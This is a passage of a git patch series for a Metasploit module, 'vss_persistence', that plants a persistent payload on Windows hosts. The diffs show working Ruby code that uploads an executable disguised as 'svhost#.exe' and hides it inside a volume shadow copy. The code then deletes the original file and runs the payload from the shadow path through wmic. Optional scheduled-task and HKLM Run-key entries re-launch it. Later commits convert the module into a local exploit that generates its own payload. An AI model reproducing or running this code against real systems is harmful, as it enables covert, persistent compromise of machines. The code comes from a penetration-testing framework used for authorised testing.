@@ -82,7 +82,7 @@ class Metasploit4 < Msf::Post def upload(session, file, trgloc="") @location = "" @file_name = "" - @file_on_target = "" + file_on_target = "" @clean_up = "" if not ::File.exists?(file) raise "File to Upload does not exists!" @@ -92,14 +92,11 @@ class Metasploit4 < Msf::Post else @location = trgloc end - ext = file[file.rindex(".") .. -1] - if ext and ext.downcase == ".exe" - @file_name = "svhost#{rand(100)}.exe" - @file_on_target = "#{@location}\\#{@file_name}" - end + @file_name = "svhost#{rand(100)}.exe" + file_on_target = "#{@location}\\#{@file_name}" print_status("Uploading #{file}....") begin - upload_file("#{@file_on_target}","#{file}") + upload_file("#{file_on_target}","#{file}") rescue ::Rex::Post::Meterpreter::RequestError => e fail_with(Failure::NotFound, e.message) end From d444ed054f7c6798633f22cde7ed1f4d19b0adde Mon Sep 17 00:00:00 2001 From: MrXors Date: Mon, 14 Oct 2013 19:36:44 -0700 Subject: [PATCH 09/14] Fixed RUNKEY, Fixed SCHTASKS, merged code --- .../post/windows/manage/vss_persistence.rb | 173 ++++++++++-------- 1 file changed, 96 insertions(+), 77 deletions(-) diff --git a/modules/post/windows/manage/vss_persistence.rb b/modules/post/windows/manage/vss_persistence.rb index a76f78a231..4419b120ac 100644 --- a/modules/post/windows/manage/vss_persistence.rb +++ b/modules/post/windows/manage/vss_persistence.rb @@ -28,79 +28,117 @@ class Metasploit4 < Msf::Post This module will attempt to create a persistant payload in new volume shadow copy.This is based on the VSSOwn Script originally posted by Tim Tomes and Mark Baggett. - Works on win2k3 and later. - }, + This module has been tested successfully on Windows 7. + }, 'License' => MSF_LICENSE, 'Platform' => ['win'], 'SessionTypes' => ['meterpreter'], 'Author' => ['MrXors '], 'References' => [ [ 'URL', 'http://pauldotcom.com/2011/11/safely-dumping-hashes-from-liv.html' ], - [ 'URL', 'http://www.irongeek.com/i.php?page=videos/hack3rcon2/tim-tomes-and-mark-baggett-lurking-in-the-shadows']] + [ 'URL', 'http://www.irongeek.com/i.php?page=videos/hack3rcon2/tim-tomes-and-mark-baggett-lurking-in-the-shadows'] + ] )) + register_options( [ OptString.new('VOLUME', [ true, 'Volume to make a copy of.', 'C:\\']), - OptBool.new('EXECUTE', [ true, 'Run the .exe on the remote system.', true]), - OptBool.new('SCHTASK', [ false, 'Create a schtask.exe for EXE.', false]), - OptBool.new('RUNKEY', [ false, 'Create AutoRun Key on HKLM\Software\Microsoft\Windows\CurrentVersion\Run .', false]), - OptInt.new('DELAY', [ false, 'Delay in Minutes for Reconnect attempt.Needs SCHTASK set to true to work.default delay is 1 minute.', 1]), - OptString.new('RPATH', [ false, 'Path on remote system to place Executable.Example \\\\Windows\\\\Temp (DO NOT USE C:\\ in your RPATH!)', ]), + OptBool.new('EXECUTE', [ true, 'Run the EXE on the remote system.', true]), + OptBool.new('SCHTASK', [ true, 'Create a Scheduled Task for the EXE.', false]), + OptBool.new('RUNKEY', [ true, 'Create AutoRun Key for the EXE', false]), + OptInt.new('DELAY', [ true, 'Delay in Minutes for Reconnect attempt. Needs SCHTASK set to true to work. Default delay is 1 minute.', 1]), + OptString.new('RPATH', [ false, 'Path on remote system to place Executable. Example: \\\\Windows\\\\Temp (DO NOT USE C:\\ in your RPATH!)', ]), OptPath.new('PATH', [ true, 'Path to Executable on your local system.']) ], self.class) + end def run - path = "#{datastore['PATH']}" + path = datastore['PATH'] + @clean_up = "" + + print_status("Checking requirements...") + + os = sysinfo['OS'] + unless os =~ /Windows 7/ + print_error("This module has been tested only on Windows 7") + return + end + unless is_admin? print_error("This module requires admin privs to run") return end + if is_uac_enabled? print_error("This module requires UAC to be bypassed first") return end + + print_status("Starting Volume Shadow Service...") unless start_vss + print_error("Unable to start the Volume Shadow Service") return end - upload(session, path, datastore['RPATH']) - volume_shadow_copy - delete_executable(@location, @file_name) - cmd = "cmd.exe /c vssadmin List Shadows\| find \"Shadow Copy Volume\"" + + print_status("Uploading #{path}....") + remote_file = upload(path, datastore['RPATH']) + + print_status("Creating Shadow Volume Copy...") + unless volume_shadow_copy + fail_with(Failure::Unknown, "Failed to create a new shadow copy") + end + + print_status("Finding the Shadow Copy Volume...") volume_data_id = [] + cmd = "cmd.exe /c vssadmin List Shadows| find \"Shadow Copy Volume\"" output = cmd_exec(cmd) + output.each_line do |line| cmd_regex = /HarddiskVolumeShadowCopy\d{1,9}/.match("#{line}") volume_data_id = "#{cmd_regex}" end - execute_executable(volume_data_id, @location, @file_name) - schtasks(volume_data_id, @location, @file_name) - regkey(@glogal_location) - log_file + + print_status("Deleting malware...") + file_rm(remote_file) + + if datastore["EXECUTE"] + print_status("Executing #{remote_file}...") + execute(volume_data_id, remote_file) + end + + if datastore["SCHTASK"] + print_status("Creating Scheduled Task...") + schtasks(volume_data_id, remote_file) + end + + if datastore["RUNKEY"] + print_status("Installing as autorun in the registry...") + install_registry(volume_data_id, remote_file) + end + + unless @clean_up.empty? + log_file + end end - def upload(session, file, trgloc="") - @location = "" - @file_name = "" - file_on_target = "" - @clean_up = "" - if not ::File.exists?(file) - raise "File to Upload does not exists!" + def upload(file, trg_loc="") + if trg_loc.nil? or trg_loc.empty? + location = "\\Windows\\Temp" else - if trgloc == "" - @location = "\\Windows\\Temp" - else - @location = trgloc - end - @file_name = "svhost#{rand(100)}.exe" - file_on_target = "#{@location}\\#{@file_name}" - print_status("Uploading #{file}....") - begin - upload_file("#{file_on_target}","#{file}") - rescue ::Rex::Post::Meterpreter::RequestError => e - fail_with(Failure::NotFound, e.message) - end + location = trg_loc end + + file_name = "svhost#{rand(100)}.exe" + file_on_target = "#{location}\\#{file_name}" + + begin + upload_file("#{file_on_target}","#{file}") + rescue ::Rex::Post::Meterpreter::RequestError => e + fail_with(Failure::NotFound, e.message) + end + + return file_on_target end def volume_shadow_copy @@ -109,58 +147,38 @@ class Metasploit4 < Msf::Post rescue ::Rex::Post::Meterpreter::RequestError => e fail_with(Failure::NotFound, e.message) end + if id - print_good("Shadow Volume Copy Created #{id}") return true else return false end end - def delete_executable(location, file_name) - print_good("Deleting Malware #{location}\\#{file_name}!") - delete_test = file_rm("#{location}\\#{file_name}") - print_good("Clean Up Complete.") + def execute(volume_id, exe_path) + run_cmd = "cmd.exe /c %SYSTEMROOT%\\system32\\wbem\\wmic.exe process call create \\\\?\\GLOBALROOT\\Device\\#{volume_id}\\#{exe_path}" + cmd_exec(run_cmd) end - def execute_executable(volume_id, exe_path, exe_name) - @glogal_location = "\\\\?\\GLOBALROOT\\Device\\#{volume_id}\\#{exe_path}\\#{exe_name}" - if datastore["EXECUTE"] - print_good("Running Executable!") - run_cmd = "cmd.exe /c %SYSTEMROOT%\\system32\\wbem\\wmic.exe process call create \\\\?\\GLOBALROOT\\Device\\#{volume_id}\\#{exe_path}\\#{exe_name}" - run_malware = cmd_exec(run_cmd) - else - return - end + def schtasks(volume_id, exe_path) + sch_name = Rex::Text.rand_text_alpha(rand(8)+8) + global_root = "\"\\\\?\\GLOBALROOT\\Device\\#{volume_id}\\#{exe_path}\"" + sch_cmd = "cmd.exe /c %SYSTEMROOT%\\system32\\schtasks.exe /create /sc minute /mo #{datastore["DELAY"]} /tn \"#{sch_name}\" /tr #{global_root}" + cmd_exec(sch_cmd) + @clean_up << "execute -H -f cmd.exe -a \"/c schtasks.exe /delete /tn #{sch_name} /f\"\n" end - def schtasks(volume_data_id, location, file_name) - if datastore["SCHTASK"] - sch_name = Rex::Text.rand_text_alpha(rand(8)+8) - print_good("Creating Service..........") - global_root = "\\\\?\\GLOBALROOT\\Device\\#{volume_data_id}\\#{location}\\#{file_name}" - sch_cmd = "cmd.exe /c %SYSTEMROOT%\\system32\\schtasks.exe /create /sc minute /mo #{datastore["DELAY"]} /tn \"#{sch_name}\" /tr #{global_root}" - service_malware_go = cmd_exec(sch_cmd) - @clean_up << "execute -H -f cmd.exe -a \"/c schtasks.exe /delete /tn #{sch_name} /f\"\n" + def install_registry(volume_id, exe_path) + global_root = "cmd.exe /c %SYSTEMROOT%\\system32\\wbem\\wmic.exe process call create \\\\?\\GLOBALROOT\\Device\\#{volume_id}\\#{exe_path}" + nam = Rex::Text.rand_text_alpha(rand(8)+8) + hklm_key = "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" + print_status("Installing into autorun as #{hklm_key}\\#{nam}") + res = registry_setvaldata("#{hklm_key}", nam, "#{global_root}", "REG_SZ") + if res + print_good("Installed into autorun as #{hklm_key}\\#{nam}") + @clean_up << "reg deleteval -k HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run -v #{nam}\n" else - return - end - end - - def regkey(path_to_exe) - if datastore["RUNKEY"] - nam = Rex::Text.rand_text_alpha(rand(8)+8) - hklm_key = "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" - print_status("Installing into autorun as #{hklm_key}\\#{nam}") - if nam - registry_setvaldata("#{hklm_key}",nam,path_to_exe,"REG_SZ") - print_good("Installed into autorun as #{hklm_key}\\#{nam}") - @clean_up << "reg deleteval -k HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run -v #{nam}\n" - else - print_error("Error: failed to open the registry key for writing") - end - else - return + print_error("Error: failed to open the registry key for writing") end end @@ -178,4 +196,5 @@ class Metasploit4 < Msf::Post file_local_write(clean_rc, @clean_up) print_status("Cleanup Meterpreter RC File: #{clean_rc}") end + end From 6a1b1f35a8e427c0f40354293d7186235868a7d2 Mon Sep 17 00:00:00 2001 From: MrXors Date: Mon, 14 Oct 2013 19:41:10 -0700 Subject: [PATCH 10/14] Msftidy done. --- modules/post/windows/manage/vss_persistence.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/post/windows/manage/vss_persistence.rb b/modules/post/windows/manage/vss_persistence.rb index 4419b120ac..34e3da400f 100644 --- a/modules/post/windows/manage/vss_persistence.rb +++ b/modules/post/windows/manage/vss_persistence.rb @@ -93,7 +93,6 @@ class Metasploit4 < Msf::Post volume_data_id = [] cmd = "cmd.exe /c vssadmin List Shadows| find \"Shadow Copy Volume\"" output = cmd_exec(cmd) - output.each_line do |line| cmd_regex = /HarddiskVolumeShadowCopy\d{1,9}/.match("#{line}") volume_data_id = "#{cmd_regex}" From 18b4f80ca94a751ae5177c7385cc272b200af0f2 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 15 Oct 2013 09:56:18 -0500 Subject: [PATCH 11/14] Add minor cleanup for vss_persistence --- modules/post/windows/manage/vss_persistence.rb | 12 ++++-------- 1 file changed, 4 insertions(+), 8 deletions(-) diff --git a/modules/post/windows/manage/vss_persistence.rb b/modules/post/windows/manage/vss_persistence.rb index 34e3da400f..e95c8638eb 100644 --- a/modules/post/windows/manage/vss_persistence.rb +++ b/modules/post/windows/manage/vss_persistence.rb @@ -7,14 +7,10 @@ require 'msf/core' require 'rex' -require 'msf/core/post/windows/shadowcopy' -require 'msf/core/post/windows/priv' -require 'msf/core/post/common' class Metasploit4 < Msf::Post include Msf::Post::File - include Msf::Post::Common include Msf::Post::Windows::Priv include Msf::Post::Windows::ShadowCopy include Msf::Post::Windows::Services @@ -25,10 +21,10 @@ class Metasploit4 < Msf::Post super(update_info(info, 'Name' => "Persistant Payload in Windows Volume Shadow Copy", 'Description' => %q{ - This module will attempt to create a persistant payload - in new volume shadow copy.This is based on the VSSOwn - Script originally posted by Tim Tomes and Mark Baggett. - This module has been tested successfully on Windows 7. + This module will attempt to create a persistant payload in new volume shadow copy. This is + based on the VSSOwn Script originally posted by Tim Tomes and Mark Baggett. This module has + been tested successfully on Windows 7. In order to achieve persistence through the RUNKEY + option, the user should need password in order to start session on the target machine. }, 'License' => MSF_LICENSE, 'Platform' => ['win'], From 3b7be50d50f53e9c8e0815616fd01ccc2409a1b6 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 15 Oct 2013 10:03:00 -0500 Subject: [PATCH 12/14] Fix typos --- modules/post/windows/manage/vss_persistence.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/post/windows/manage/vss_persistence.rb b/modules/post/windows/manage/vss_persistence.rb index e95c8638eb..1945275477 100644 --- a/modules/post/windows/manage/vss_persistence.rb +++ b/modules/post/windows/manage/vss_persistence.rb @@ -19,9 +19,9 @@ class Metasploit4 < Msf::Post def initialize(info={}) super(update_info(info, - 'Name' => "Persistant Payload in Windows Volume Shadow Copy", + 'Name' => "Persistent Payload in Windows Volume Shadow Copy", 'Description' => %q{ - This module will attempt to create a persistant payload in new volume shadow copy. This is + This module will attempt to create a persistent payload in new volume shadow copy. This is based on the VSSOwn Script originally posted by Tim Tomes and Mark Baggett. This module has been tested successfully on Windows 7. In order to achieve persistence through the RUNKEY option, the user should need password in order to start session on the target machine. From 0b9cf24103cede3fbd8840717a3d6c5f671e51cb Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 15 Oct 2013 11:11:04 -0500 Subject: [PATCH 13/14] Convert vss_persistence to Local Exploit --- .../windows/local}/vss_persistence.rb | 26 ++++++++++++------- 1 file changed, 16 insertions(+), 10 deletions(-) rename modules/{post/windows/manage => exploits/windows/local}/vss_persistence.rb (93%) diff --git a/modules/post/windows/manage/vss_persistence.rb b/modules/exploits/windows/local/vss_persistence.rb similarity index 93% rename from modules/post/windows/manage/vss_persistence.rb rename to modules/exploits/windows/local/vss_persistence.rb index 1945275477..e3661578b9 100644 --- a/modules/post/windows/manage/vss_persistence.rb +++ b/modules/exploits/windows/local/vss_persistence.rb @@ -7,14 +7,17 @@ require 'msf/core' require 'rex' +require 'msf/core/exploit/exe' -class Metasploit4 < Msf::Post +class Metasploit3 < Msf::Exploit::Local + Rank = ExcellentRanking include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Post::Windows::ShadowCopy include Msf::Post::Windows::Services include Msf::Post::Windows::Registry + include Msf::Exploit::EXE def initialize(info={}) @@ -26,14 +29,17 @@ class Metasploit4 < Msf::Post been tested successfully on Windows 7. In order to achieve persistence through the RUNKEY option, the user should need password in order to start session on the target machine. }, + 'Author' => ['MrXors '], 'License' => MSF_LICENSE, 'Platform' => ['win'], 'SessionTypes' => ['meterpreter'], - 'Author' => ['MrXors '], + 'Targets' => [ [ 'Windows 7', {} ] ], + 'DefaultTarget' => 0, 'References' => [ [ 'URL', 'http://pauldotcom.com/2011/11/safely-dumping-hashes-from-liv.html' ], [ 'URL', 'http://www.irongeek.com/i.php?page=videos/hack3rcon2/tim-tomes-and-mark-baggett-lurking-in-the-shadows'] - ] + ], + 'DisclosureDate'=> "Oct 21 2011" )) register_options( @@ -44,13 +50,11 @@ class Metasploit4 < Msf::Post OptBool.new('RUNKEY', [ true, 'Create AutoRun Key for the EXE', false]), OptInt.new('DELAY', [ true, 'Delay in Minutes for Reconnect attempt. Needs SCHTASK set to true to work. Default delay is 1 minute.', 1]), OptString.new('RPATH', [ false, 'Path on remote system to place Executable. Example: \\\\Windows\\\\Temp (DO NOT USE C:\\ in your RPATH!)', ]), - OptPath.new('PATH', [ true, 'Path to Executable on your local system.']) ], self.class) end - def run - path = datastore['PATH'] + def exploit @clean_up = "" print_status("Checking requirements...") @@ -77,8 +81,8 @@ class Metasploit4 < Msf::Post return end - print_status("Uploading #{path}....") - remote_file = upload(path, datastore['RPATH']) + print_status("Uploading payload...") + remote_file = upload(datastore['RPATH']) print_status("Creating Shadow Volume Copy...") unless volume_shadow_copy @@ -117,7 +121,7 @@ class Metasploit4 < Msf::Post end end - def upload(file, trg_loc="") + def upload(trg_loc="") if trg_loc.nil? or trg_loc.empty? location = "\\Windows\\Temp" else @@ -127,8 +131,10 @@ class Metasploit4 < Msf::Post file_name = "svhost#{rand(100)}.exe" file_on_target = "#{location}\\#{file_name}" + exe = generate_payload_exe + begin - upload_file("#{file_on_target}","#{file}") + write_file("#{file_on_target}", exe) rescue ::Rex::Post::Meterpreter::RequestError => e fail_with(Failure::NotFound, e.message) end From f345414832fe0895e6ed89e70eb57f72a103aeaf Mon Sep 17 00:00:00 2001 From: MrXors Date: Tue, 15 Oct 2013 10:13:18 -0700 Subject: [PATCH 14/14] Added correct spelling in info --- modules/exploits/windows/local/vss_persistence.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/local/vss_persistence.rb b/modules/exploits/windows/local/vss_persistence.rb index e3661578b9..ba55d056da 100644 --- a/modules/exploits/windows/local/vss_persistence.rb +++ b/modules/exploits/windows/local/vss_persistence.rb @@ -24,7 +24,7 @@ class Metasploit3 < Msf::Exploit::Local super(update_info(info, 'Name' => "Persistent Payload in Windows Volume Shadow Copy", 'Description' => %q{ - This module will attempt to create a persistent payload in new volume shadow copy. This is + This module will attempt to create a persistent payload in a new volume shadow copy. This is based on the VSSOwn Script originally posted by Tim Tomes and Mark Baggett. This module has been tested successfully on Windows 7. In order to achieve persistence through the RUNKEY option, the user should need password in order to start session on the target machine.